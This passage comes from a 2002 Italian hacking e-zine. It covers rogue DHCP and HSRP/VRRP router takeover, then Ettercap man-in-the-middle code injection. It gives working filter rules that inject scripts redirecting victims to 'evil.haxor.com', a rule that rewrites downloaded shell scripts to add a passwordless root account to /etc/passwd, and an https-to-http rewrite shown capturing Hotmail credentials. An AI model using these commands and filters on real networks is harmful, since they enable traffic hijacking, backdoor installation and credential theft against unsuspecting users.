| Il protocollo DHCP (Dynamic Host Configuration Protocol) risulta utile |
| per gestire l'assegnazione dinamica dei parametri di rete degli host che |
| ne facciano richiesta, tuttavia questo sistema ha dei pro e dei contro. |
| Se da una parte il protocollo DHCP contribuisce ad alleggerire il lavoro |
| degli amministratori nella configurazione delle macchine che popolano la |
| rete dall'altra mette a repentaglio la sicurezza degli host che si |
| avvalgono di tale servizio. |
| In particolare manca qualsiasi procedura di autenticazione che attesti |
| l'identità del server che ci risponde, non c'è alcun meccanismo che ci |
| permetta di verificare la natura delle informazioni ricevute. |
| La presenza di un server DHCP non autorizzato può compromettere la |
| sicurezza degli host che si avvalgono di tale servizio per determinare |
| parametri sensibili quali il default gateway o il dns server. |
| Segue un breve elenco dei parametri di configurazione che possono essere |
| veicolati in un messaggio DHCP, l'elenco è tratto dall'RFC 2131: |
| |
| |
| IP-layer_parameters,_per_host:_ |
| |
| Be a router on/off HRC 3.1 |
| Non-local source routing on/off HRC 3.3.5 |
| Policy filters for |
| non-local source routing (list) HRC 3.3.5 |
| Maximum reassembly size integer HRC 3.3.2 |
| Default TTL integer HRC 3.2.1.7 |
| PMTU aging timeout integer MTU 6.6 |
| MTU plateau table (list) MTU 7 |
| IP-layer_parameters,_per_interface:_ |
| IP address (address) HRC 3.3.1.6 |
| Subnet mask (address mask) HRC 3.3.1.6 |
| MTU integer HRC 3.3.3 |
| All-subnets-MTU on/off HRC 3.3.3 |
| Broadcast address flavor 0x00000000/0xffffffff HRC 3.3.6 |
| Perform mask discovery on/off HRC 3.2.2.9 |
| Be a mask supplier on/off HRC 3.2.2.9 |
| Perform router discovery on/off RD 5.1 |
| Router solicitation address (address) RD 5.1 |
| Default routers, list of: |
| router address (address) HRC 3.3.1.6 |
| preference level integer HRC 3.3.1.6 |
| Static routes, list of: |
| destination (host/subnet/net) HRC 3.3.1.2 |
| destination mask (address mask) HRC 3.3.1.2 |
| type-of-service integer HRC 3.3.1.2 |
| first-hop router (address) HRC 3.3.1.2 |
| ignore redirects on/off HRC 3.3.1.2 |
| PMTU integer MTU 6.6 |
| perform PMTU discovery on/off MTU 6.6 |
| |
| Link-layer_parameters,_per_interface:_ |
| Trailers on/off HRC 2.3.1 |
| ARP cache timeout integer HRC 2.3.2.1 |
| Ethernet encapsulation (RFC 894/RFC 1042) HRC 2.3.3 |
| |
| TCP_parameters,_per_host:_ |
| TTL integer HRC 4.2.2.19 |
| Keep-alive interval integer HRC 4.2.3.6 |
| Keep-alive data size 0/1 HRC 4.2.3.6 |
| |
| |
| Nell'esempio che segue andremo ad alterare il valore relativo al default |
| router di un host che utilizzi DHCP per ricavare tale parametro di |
| configurazione. |
| |
| Configuriamo un demone dhcpd sulla nostra macchina, il file di |
| configurazione potrebbe essere simile al seguente: |
| |
| # vi /etc/dhcpd.conf |
| |
| # dhcpd.conf |
| # |
| # Configuration file for ISC dhcpd (see 'man dhcpd.conf') |
| # |
| |
| subnet 192.168.1.0 netmask 255.255.255.0 { |
| range 192.168.1.30 192.168.1.250; |
| option routers 192.168.1.4; |
| } |
| |
| L'opzione routers serve ad indicare il default router di cui dovranno |
| servirsi gli host che interrogheranno il nostro demone dhcp, in questo |
| caso l'IP del default router è stato settato pari a quello del nostro |
| host. Non ci resta che avviare il demone e restare a guardare. |
| |
| # dhcpd |
| Internet Software Consortium DHCP Server 2.0pl5 |
| Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium. |
| All rights reserved. |
| |
| Please contribute if you find this software useful. |
| For info, please visit http://www.isc.org/dhcp-contrib.html |
| |
| Listening on Socket/eth0/192.168.1.0 |
| Sending on Socket/eth0/192.168.1.0 |
| |
| |
| In questo modo tutto il traffico diretto verso una postazione remota |
| transiterà attraverso di noi, saremo così in grado di manipolare ogni |
| singolo pacchetto e alterare qualsiasi flusso di dati ci attraversi. |
| |
| |
| 2.5 HSRP e VRRP |
| |
| Hot Standby Router Protocol (HSRP) rappresenta la soluzione proprietaria |
| proposta da Cisco per gestire la ridondanza dei gateway all'interno di |
| una rete locale. Tale protocollo permette di eliminare il single point |
| of failure rappresentato dal dispositivo che permette l'interconnessione |
| della rete privata all'Internet pubblica. |
| |
| Usando HSRP un insieme di router possono interagire al fine di operare |
| come un singolo router virtuale, in tale architettura un solo router |
| alla volta svolge la mansione di instradatore per la rete privata |
| (active router). |
| Un altro router del gruppo è eletto come standby router ovvero il router |
| che sostituirà l'active router in caso di malfunzionamento. |
| L'active router e lo standby router sono nominati tali durante un |
| processo iniziale di elezione che prevede lo scambio di messaggi Hello |
| al fine di determinare i dispositivi il cui valore di priorità risulti |
| essere il più elevato. |
| Una volta terminato il processo di elezione l'active e lo standby router |
| continuano a inviare messaggi di Hello con regolarità, la mancata |
| ricezione di messaggi di Hello per un tempo superiore al valore Holdtime |
| stabilito in precedenza sono da ricondursi al malfunzionamento del |
| dispositivo che nel caso di un active router verrà sostituito dalla |
| standby router evitando il protrarsi del problema. |
| Nel caso in cui il malfunzionamento sia riconducibile allo standby |
| router o quest'ultimo sia stato eletto ad active router il processo di |
| elezione provvederà a delegare il roulo di standby ad un altro |
| dispositivo in base alla priorità dimostrata. |
| Il protocollo HSRP si serve del protocollo UDP per veicolare le proprie |
| informazioni e utilizza la porta 1985, la struttura del pacchetto si |
| presenta nel modo seguente, lo schema è tratto dall'RFC 2281: |
| |
| |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Version | Op Code | State | Hellotime | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Holdtime | Priority | Group | Reserved | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Authentication Data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Authentication Data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Virtual IP Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| Mi limiterò a descrivere i campi che ritengo più significativi: |
| |
| - Op Code: indica il tipo di messaggio veicolato dal pacchetto, questo |
| campo può assumere tre possibili valori: |
| |
| 0 - Hello, viene inviato da tutti i router durante il processo di |
| elezione per permettere l'elezione dell'active e dello standby |
| router. Successivamente vengono inviati ad intervalli regolari |
| dall'active e dallo standby router come garanzia del loro corretto |
| funzionamento, la mancata emissione di Hello message da parte di |
| un dispositivo per un tempo prolungato comporterà la sua |
| sostituzione; |
| |
| 1 - Coup, viene generato da un dispositivo per forzare la propria |
| elezione ad active router; |
| |
| 2 - Resign, viene generato dall'active router nel caso esso desideri |
| cedere il proprio roulo di router attivo ad un altro dispositivo. |
| |
| - State: indica lo stato in cui il dispositivo si trova (es Active, |
| Standby, etc); |
| |
| - Hellotime: indica la frequenza con cui vengono emessi i messaggi di |
| Hello dal dispositivo, di default tale valore è posto pari a tre |
| secondi; |
| |
| - Holdtime: indica il tempo di validità di ogni messaggio di Hello |
| emesso dal dispositivo, tale campo deve assumere un valore grande |
| almeno tre volte quello imposto da Hellotime in modo tale da mitigare |
| effetti indesiderati dovuti ad un eventuale packet loss; |
| |
| - Priority: rappresenta il parametro su cui avviene l'elezione dell' |
| active e standby router, il dispositivo con il valore di priorità |
| maggiore sarà eletto come active; |
| |
| - Virtual IP Address: rappresenta l'indirizzo IP unico utilizzato da |
| tutti i dispositivi che prendono parte al gruppo HSRP. |
| |
| Ora che conosciamo le basi che regolano il funzionamento del protocollo |
| HSRP possiamo passare ad analizzarne i punti deboli che possono essere |
| sfruttati da un attaccante per realizzare una condizione di man in the |
| middle. |
| |
| Mi limiterò ad analizzare i pacchetti generati dal tool hsrp in mancanza |
| di un dispositivo della Cisco su cui effettuare i miei test :) |
| Dall'RFC 2281 possiamo ricavare le informazioni di cui abbiamo bisogno: |
| |
| "Preemption capability |
| |
| If a router has higher priority than the active router and |
| preemption is configured, it MAY take over as the active router |
| using a Coup message."
|
| |
| Il tool hsrp, come avremo modo di vedere, segue tali indicazioni per |
| realizzare un take over sul protocollo HSRP: |
| |
| # ./hsrp -d 224.0.0.2 -v 192.168.1.1 -a cisco -g 1 -i eth0 |
| |
| # tcpdump -nX |
| tcpdump: listening on eth0 |
| 09:34:57.381440 192.168.1.4.1985 > 224.0.0.2.1985: udp 20 |
| 0x0000 4500 0030 176e 0000 8011 81a0 c0a8 0104 E..0.n.......... |
| 0x0010 e000 0002 07c1 07c1 001c 0000 0001 1003 ................ |
| 0x0020 ffff 0100 6369 7363 6f00 0000 c0a8 0101 ....cisco....... |
| 09:34:57.382360 192.168.1.4.1985 > 224.0.0.2.1985: udp 20 |
| 0x0000 4500 0030 176f 0000 8011 819f c0a8 0104 E..0.o.......... |
| 0x0010 e000 0002 07c1 07c1 001c 0000 0000 1003 ................ |
| 0x0020 ffff 0100 6369 7363 6f00 0000 c0a8 0101 ....cisco....... |
| |
| 2 packets received by filter |
| 0 packets dropped by kernel |
| |
| Quelli che seguono sono i dati così come appaiono una volta eliminati |
| gli header IP e UDP: |
| |
| 0001 1003 ffff 0100 6369 7363 6f00 0000 c0a8 0101 |
| |
| Il primo byte rappresenta il campo Version del pacchetto che vale 00, |
| segue il campo Op Code 01 che sta ad indicare un messaggio di tipo Coup |
| che viene generato da un dispositivo per forzare la propria elezione ad |
| active router. |
| Il campo State vale 10 hex che tradotto in decimale significa 16 e sta |
| ad indicare lo stato Active, il byte successivo vale 03 e sta ad |
| indicare un Hellotime di tre secondi. |
| Il byte ff che segue si riferisce invece all'Holdtime che risulta |
| impostato al valore massimo consentito dal protocollo, tale valore |
| corrisponde ad un tempo di 255 secondi. |
| Un valore così elevato di Holdtime contribuisce al mantenimento della |
| nostra posizione di active router anche in presenza di un ritardo nella |
| generazione dei messaggi Helo alla sola condizione che tale ritardo non |
| si protragga oltre al limite di Holdtime. |
| Il campo Priority è impostato al valore massimo consentito (ff) al fine |
| di permettere lo scavalcamento dell'attuale active router. |
| I due byte che seguono valgono 01 e 00 e si riferiscono rispettivamente |
| ai campi Group e Reserved che risulta al momento non utilizzato. |
| Le due word (1 word = 4 byte) che seguono costituiscono il campo |
| Authentication Data che come da specifiche è impostato a: |
| |
| 6369 7363 6f00 0000 |
| |
| In ASCII corrisponde alla stringa "cisco" paddata da una sequenza di |
| zeri finali. |
| L'ultima word si riferisce al Virtual IP Address che ne nostro caso vale |
| c0 a8 01 01 che tradotto in decimale corrisponde a 192.168.1.1 |
| |
| Ora siamo stati eletti ad active router e possiamo usufruire di tale |
| posizione per condurre qualsiasi tipo di operazione sui dati che ci |
| attraversano, tale situazione prende il nome di man in the middle. |
| |
| Virtual Router Redundancy Protocol (VRRP) è invece lo standard proposto |
| dall'IETF che rappresenta l'alternativa ufficiale al protocollo |
| proprietario HSRP di Cisco. |
| Il protocollo VRRP è caratterizzato da un processo di elezione il cui |
| scopo è delineare un master router tra un gruppo di router che |
| partecipano al protocollo. |
| Il master router è scelto sulla base di un livello di priorità che viene |
| di norma assegnato ad ogni dispositivo in base alla sua affidabilità, ad |
| esso viene delegato il compito di instradatore per la rete. |
| A differenza di HSRP il router delegato ad una eventuale sostituzione |
| del master non viene eletto a priori. |
| Lo stesso master router deve preoccuparsi di mandare messaggi VRRP |
| Advertisement all'indirizzo multicast 224.0.0.18 assegnato al VRRP in |
| modo tale da consentirne la ricezione da parte di tutti i sistemi che |
| prendono parte al protocollo, tale messaggio funge da garanzia di |
| corretto funzionamento e la mancata ricezione di tali messaggio per un |
| tempo prolungato da vita ad un nuovo processo di elezione. |
| Tuttavia il malfunzionamento del dispositivo che funge da master non |
| rappresenta la sola condizione in cui esso viene sostituito, questo lo |
| si deduce dal seguente passo tratto dall'RFC 2338: |
| |
| |
| - If an ADVERTISEMENT is received, then: |
| |
| [snip] |
| |
| If the Priority in the ADVERTISEMENT is greater than the |
| local Priority, |
| or |
| If the Priority in the ADVERTISEMENT is equal to the local |
| Priority and the primary IP Address of the sender is greater |
| than the local primary IP Address, then: |
| |
| o Cancel Adver_Timer |
| o Set Master_Down_Timer to Master_Down_Interval |
| o Transition to the {Backup} state |
| |
| |
| |
| L'opzione di preemption (letteralmente prerilascio) permette ad un |
| backup router che partecipi al protocollo VRRP lo scavalcamento del |
| master router in presenza di un valore di priorità superiore. |
| Ad un attaccante basterà inviare un messaggio VRRP Advertisement con una |
| priorità maggiore al master router, nel caso in cui al master router sia |
| stato assegnato il valore di priorità massimo (255) la priorità sarà |
| valutata sulla base dell'indirizzo IP con il valore più elevato. |
| Operando in tale maniera un utente malizioso è in grado di prendere il |
| posto di instradatore per la rete e mirare a compromettere l'integrità |
| dei dati trasmessi. |
| |
| |
| 3. Risorse |
| |
| TCP/IP Illustrated Volume 1, W. Richard Stevens |
| RFC 792, RFC 1256, RFC 2281, RFC 2338, RFC 2131 |
| http://ettercap.sourceforge.net/papers/ |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #08 - 01/11/2002 |
| C0DE iNJECTi0N [eazy] 0x07/0x1A |
+--------------------------------------------------------------------------+
| |
| |
| 1. Introduzione |
| |
| 2. Man In The Middle |
| |
| 3. Code Injection |
| 3.1 Ettercap |
| 3.2 JavaScript and HTML injection |
| 3.3 Trojanizzare on-fly |
| 3.4 SSL/TLS Bypass |
| |
| |
| |
| |
| 1. Introduzione |
| |
| Il termine code injection sta ad indicare una tecnica con la quale un |
| attacker è in grado di iniettare codice arbitrario all'interno di un |
| flusso di dati scambiato tra due host al fine di alterarne il contenuto. |
| Molto spesso il codice iniettato ha la facoltà di compromettere una |
| delle due stazioni che partecipano alla comunicazione. |
| |
| 2. Man In The Middle |
| |
| Condizione necessaria affinchè l'iniezione di codice abbia successo è |
| quella di trovarsi nel mezzo della connessione ovvero l'host dal quale |
| proviene l'attacco deve trovarsi in una posizione privilegiata che gli |
| permetta di ricevere e forwardare i pacchetti che gli giungono da |
| entrambi i capi della sessione. |
| Mi limiterò a fornire un breve sunto di quanto è necessario sapere in |
| merito al man in the middle fornendo dei collegamenti ad altri testi che |
| costituiscono un eventuale approfondimento: |
| |
| - ARP poisoning: è la tecnica più comunemente utilizzata per ottenere |
| una situazione di man in the middle, prevede l'invio da parte dell' |
| attacker di ARP reply non sollecitate verso l'host che si desidera |
| avvelenare; |
| Per approfondimenti vedi sezione 5.4.1 del README file di Ettercap |
| reperibile all'URL http://ettercap.sourceforge.net; |
| |
| - DNS spoofing: un po' meno utilizzata, un attacker è in grado di |
| interferire nel processo di risoluzione dei nomi host forgiando |
| delle reply fasulle e inoltrandole al client prima che queste giungano |
| dal server DNS. |
| Le reply fasulle saranno interpretate dal client al posto di quelle |
| legittime provenienti dal server DNS in quanto giunte a destinazione |
| per prime, l'IP address contenuto in tali reply corrisponderà a quello |
| di un host sotto il controllo dell'attacker. |
| Per approfondimenti vedi articolo "DNS Spoofing Attack" comparso sul |
| numero 6 di OndaQuadra; |
| |
| - Route mangling: la manipolazione delle tabelle di routing di un host |
| permette di influenzarne l'instradamento dei pacchetti al fine di |
| trovarsi nel mezzo della sessione. |
| Per approfondimenti vedi articolo "IP Routing Attack" sul numero 8 di |
| OndaQuadra; |
| |
| Vi sarebbero altre tecniche che permettono di realizzare un attacco man |
| in the middle che sono state omesse per semplicità in quanto la loro |
| trattazione non rientra tra le tematiche prese in esame. |
| Per il resto dell'articolo NON mi soffermerò sulle tecniche di man in |
| the middle, lascio pertanto al lettore il compito di approfondire |
| l'argomento sulla base dei riferimenti forniti. |
| |
| |
| 3. Code Injection |
| |
| Ora che sapete tutto (o quasi) sul man in the middle possiamo passare al |
| tema principale dell'articolo, ovvero l'iniezione di codice verso una |
| stazione remota. |
| Trovandoci nel mezzo della comunicazione siamo in gradi di alterare i |
| dati scambiati tra l'applicazione server e client al fine di inserire |
| del codice in grado di compromettere uno dei due lati della sessione. |
| Lo scopo dell'articolo è quello di illustrare i pericoli derivanti da |
| una tale manipolazione guidando il lettore attraverso alcuni semplici |
| esempi in cui tale tecnica trova applicazione. |
| |
| 3.1 Ettercap |
| |
| Ettercap è il tool di cui mi avvarrò per mettere in pratica quanto mi |
| appresto ad illustrare, il suo compito è quello di: |
| |
| - Provvedere alla realizzazione di una condizione di man in the middle |
| tra i due host coinvolti nella comunicazione; |
| |
| - Intercettare i pacchetti che giungono a noi in seguito alla condizione |
| di man in the middle e modificarne il payload(1) secondo le regole da |
| noi stabilite, avendo cura di mantenere sincronizzata la sessione TCP |
| tramite la modifica on-fly dei campi sequence number e acknowledgment. |
| Provvedere inoltre a ricalcolare i campi del pacchetto che risentono |
| della modifica del payload (es. checksum) e reinstradare il tutto al |
| legittimo destinatario. |
| |
| In questo modo i due host continuano a comunicare ma i pacchetti che |
| giungono loro risultano modificati a nostro piacimento. |
| |
| (1) payload: l'insieme di bit che non fanno parte dell'intestazione che |
| verranno consegnati all'utente finale destinatario del pacchetto, è |
| anche chiamato il campo dati che contiene le informazioni destinate |
| al livello superiore. |
| |
| 3.2 JavaScript and HTML injection |
| |
| E' possibile iniettare qualsiasi Javascipt o tag HTML malizioso all' |
| interno delle pagine web che il client della vittima si appresta a |
| visualizzare causando l'esecuzione di codice potenzialmente pericoloso. |
| |
| Tale operazione può essere eseguita on-fly da Ettercap che è in grado di |
| sostituire le occorrenze di una stringa all'interno dei pacchetti in |
| transito (in seguito al man in the middle) con del codice da noi |
| realizzato. Tale operazione viene condotta secondo le modalità descritte |
| nel paragrafo precedente. |
| |
| Vediamo un esempio di come sia possibile per un utente malizioso |
| condurre un simile attacco: |
| |
| # ettercap |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.4 1) 192.168.1.4 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.35 5) 192.168.1.35 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Una volta avviato il tool potete scegliere i due capi della connessione |
| di cui volete catturare la comunicazione e in seguito alterarla, potete |
| selezionare source e destination utilizzando l'interfaccia a cursori. |
| Se uno dei due host impegnati nella comunicazione si dovesse rivelare un |
| sistema remoto non dovrete far altro che selezionare come destinazione |
| il vostro gateway. |
| A questo punto potete procedere al poisoning della cache ARP dei due |
| host premendo il tasto A: |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ?

  
|
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Ora ci troviamo nel mezzo, possiamo iniziare a iniettare codice. |
| Per far ciò dobbiamo stabilire dei filtri che ci permettono di indicare |
| ad Ettercap quali sostituzioni/modifiche desideriamo apportare al |
| contenuto dei pacchetti che ci attraverseranno. |
| Premendo il tasto F accediamo al menu dei filtri che si presenta così: |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? ??Filters :????????????????????????????????????????????????????? |
| ? |
| ? |
| ? |
| ? |
| ? ? S] Filters on Source : OFF W] Edit filter chain |
| ? |
| ? ? D] Filters on Dest : OFF E] Edit filter chain |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Premendo il tasto E possiamo editare i filtri sull'host destinazione, |
| ovvero inseriamo un controllo sui dati in ingresso sul client. |
| Il filtro può ad esempio essere configurato come segue: |
| |
| Proto : TCP |
| Source port : 80 |
| Dest port : 0 |
| Search : <html> |
| Action (Drop/Replace/Log) : R |
| Replace: <html>\r<script language="JavaScript">\ralert('hi!')\r</script> |
| |
| Dopo aver premuto INVIO per confermare le modifiche, una volta tornati |
| alla finestra dei filtri premere il tasto D per attivare il filtro sul |
| destinatario, la voce "Filters on Dest" dovrà apparire così: |
| |
| D] Filters on Dest : ON |
| |
| In questo modo Ettercap intercetta ogni sessione TCP che provenga dalla |
| porta 80 dell'host destinatario (il web server) diretta a qualsiasi |
| porta del client e provvede a sostituire ogni occorrenza della stringa |
| <html> con la stessa stringa seguita dal nostro javascript che verrà |
| eseguito dalla vittima. |
| Il carattere \r ha la funzione di decretare il punto in cui il codice va |
| a capo, ovvero: |
| |
| <html>\r<script language="JavaScript">\ralert('hi!')\r</script> |
| |
| equivale a... |
| |
| <html> |
| <script language="JavaScript"> |
| alert('hi!') |
| </script> |
| |
| Il codice del javascript in questione non svolge alcuna azione |
| particolare se non quella di mostrare una finestra di alert con il testo |
| "hi!" ed è stato utilizzato a titolo di esempio. |
| Alcuni esempi più significativi sono rappresentati dall'iniezione dei |
| seguenti codici: |
| |
| <script language="JavaScript"> |
| window.open('http://www.evil.haxor.com') |
| </script> |
| |
| oppure |
| |
| <meta http-equiv="Refresh" content="1; URL=http://www.evil.haxor.com"> |
| |
| Entrambi causano l'apertura automatica di una pagina potenzialmente |
| ostile che potrebbe portare all'esecuzione di codice da parte del |
| browser della vittima (vedi exploits per le varie versioni di Internet |
| Explorer 5.x e 6). |
| |
| |
| 3.3 Trojanizzare on-fly |
| |
| Una diretta conseguenza dell'iniezione di codice è la possibilità di |
| alterare il contenuto di programmi sotto forma di script o codice |
| sorgente al file di introdurre al loro interno eventuali backdoor. |
| Tale operazione risulta piuttosto semplice nel caso di file che si |
| presentino sotto forma di testo semplice in quanto più facilmente |
| soggetti ad eventuali pattern matching e sostituzioni. |
| Ancora una volta ci serviremo dei filtri messi a nostra disposizione da |
| Ettercap per simulare un attacco mirato alla trojanizzazione on-fly di |
| uno shell script scaricato dalla vittima: |
| |
| Proto : TCP |
| Source port : 80 |
| Dest port : 0 |
| Search : !/bin/bash |
| Action (Drop/Replace/Log) : R |
| Replace: !/bin/bash\r\necho r00t::0:0::/root:/bin/sh >> /etc/passwd\n |
| |
| Questo filtro posto sul destinatario provvede a sostituire al volo le |
| occorrenze della stringa !/bin/bash, che sta ad indicare l'interprete |
| dello script, con la stessa stringa seguita dall'aggiunta di una nuova |
| riga che al momento dell'esecuzione dello script provvederà ad inserire |
| una backdoor nel sistema. |
| La stessa tecnica è applicabile a qualsiasi altro script, la |
| sostituzione può essere fatta sulla base di un valore che si presenta |
| costante come ad esempio la riga relativa all'interprete: |
| |
| #!/bin/bash |
| #!/bin/sh |
| #!/usr/bin/perl |
| |
| Un sorgente C rende più difficoltosa tale operazione a causa dell' |
| intrinseca complessità e imprevedibilità del linguaggio, la conoscenza a |
| priori del contenuto del file che la vittima si appresta a scaricare può |
| facilitare l'attaccante nel forgiare delle regole di sostituzione che |
| gli |
| garantiscano una maggiore probabilità di successo. |
| |
| |
| 3.4 SSL/TLS Bypass |
| |
| Il protocollo SSL/TLS offre un livello trasporto sicuro e protegge la |
| comunicazione tra due host per mezzo di meccanismi crittografici |
| garantendo la confidenzialità e l'integrità dei dati scambiati, tale |
| protocollo si avvale di un algoritmo di crittografia ibrido ovvero |
| utilizza un algoritmo asimmetrico per verificare l'identità dei due |
| partecipanti alla comunicazione e per lo scambio della chiave di |
| sessione che verrà utilizzata per il resto della comunicazione per |
| crittare la sessione con un algoritmo simmetrico. |
| Per maggiori informazioni sul protocollo SSL/TLS è possibile fare |
| riferimento all'articolo "Hack Cryptographic Tunnels" comparso sul |
| numero 7 di OndaQuadra. |
| |
| Ora vedremo come si può bypassare la protezione imposta da un server web |
| che utilizzi SSL per proteggere le sessioni dei clienti da un attacker |
| che desideri sniffare/modificare i dati che vi transitano. |
| Molti siti offrono la possibilità di effettuare il login ai propri |
| servizi in maniera sicura per mezzo di SSL (es. webmail, home banking). |
| Tuttavia questi si limitano a trasmettere attraverso un tunnel |
| crittografico le SOLE credenziali d'accesso e lascino le pagine HTML |
| trasmesse al client in balia di eventuali malintenzionati che hanno la |
| possibilità di modificarle prima che giungano al browser della vittima. |
| In questo modo è possibile modificare il codice delle pagine al fine di |
| forzare la trasmissione in chiaro delle credenziali da parte del client. |
| |
| Vediamo un esempio, osservando attentamente il codice HTML contenuto |
| nella pagina di login di Hotmail possiamo notare diversi riferimenti al |
| protocollo SSL (https): |
| |
| <form name="passwordform" |
| action="https://loginnet.passport.com/ppsecure/post.srf" |
| method="POST" target="_top" > |
| |
| oppure ancora... |
| |
| <script language="JavaScript"> |
| <!-- |
| var defAct = document.passwordform.action; |
| function SelectChanger(s) |
| { |
| var i = s.selectedIndex; |
| if (i == -1) |
| { |
| return false; |
| } |
| if(i == 0) |
| { |
| document.passwordform.action = |
| "https://loginnet.passport.com/ppsecure/post.srf"; |
| return true; |
| } |
| document.passwordform.action = |
| "https://login.msnia.passport.com/IT/ppsecure/post.asp"; |
| return true; |
| } |
| //--> |
| </script> |
| |
| Tutto ciò che un attacker deve fare per garantirsi le credenziali dell' |
| utente che accede al servizio è ricorrere alla tecnica di code injection |
| e sostituire on-fly nelle pagine HTML tutte le occorrenze della stringa |
| https con http in modo tale da costringere il browser dell'utente ad |
| eseguire il login passando username e password in chiaro sulla rete. |
| Il filtro sul destinatario da settare su Ettercap dovrà essere di questo |
| tipo: |
| |
| Proto : TCP |
| Source port : 80 |
| Dest port : 0 |
| Search : https |
| Action (Drop/Replace/Log) : R |
| Replace: http |
| |
| |
| Una volta che la vittima avrà trasmesso le proprie credenziali sarà |
| necessario scorrere le voci che compaiono sull'interfaccia a cursori |
| fino a trovare la voce relativa al login, Ettercap scrive in basso a |
| sinistra USER e PASS collezionate: |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: ON |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.35:1047 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 2) 192.168.1.35:1048 <--> 66.35.229.101:80 ? CLOSED ? www |
| ? 3) 192.168.1.35:1049 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 4) 192.168.1.35:1050 <--> 217.18.105.47:80 ? silent ? www |
| ? 5) 192.168.1.35:1051 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 6) 192.168.1.35:1052 <--> 64.4.43.7:80 ? KILLED ? www |
| ? 7) 192.168.1.35:1053 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 8) 192.168.1.35:1054 <--> 64.4.43.7:80 ? CLOSED ? www |
| ? 9) 192.168.1.35:1055 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 10) 192.168.1.35:1056 <--> 207.68.177.124:80 ? CLOSED ? www |
| ? 11) 192.168.1.35:1057 <--> 66.35.229.101:80 ? CLOSED ? www |
| ? 12) 192.168.1.35:1058 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 13) 192.168.1.35:1059 <--> 65.54.225.241:80 ? CLOSED ? www |
| ? 14) 192.168.1.35:1060 <--> 64.4.43.7:80 ? CLOSED ? www |
| ? 15) 192.168.1.35:1061 <--> 64.4.43.7:80 ? CLOSED ? www |
| ???????????????????????????????????????????????????????????????????????? |
| ?? Your IP: 192.168.1.4 MAC: 00:00:00:00:00:00 Iface: eth0 Link: HUB ??? |
| ? USER: isi |
| ? PASS: secret http://lc1.law13.hotmail.passport.com/cgi-bin/logi-> |
| ???????????????????????????????????????????????????????????????????????? |
| |
| La stessa debolezza è stata riscontrata in siti che offrono servizi ben |
| più delicati come ad esempio home banking o trading online, gli stessi |
| sono stati avvisati del problema tuttavia attualmente non è ancora stato |
| corretto per tanto ho preferito occultarne l'identità. |
| Nella home page compare un form che consente il login degli utenti e |
| tale pagina viene trasmessa al browser in maniera non sicura e risulta |
| pertanto suscettibile ad alterazioni che possono modificare la procedura |
| di login forzando il client alla trasmissione in chiaro delle |
| credenziali utente. |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: ON |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.35:1064 <--> 192.168.1.1:53 ? UDP ? domain |
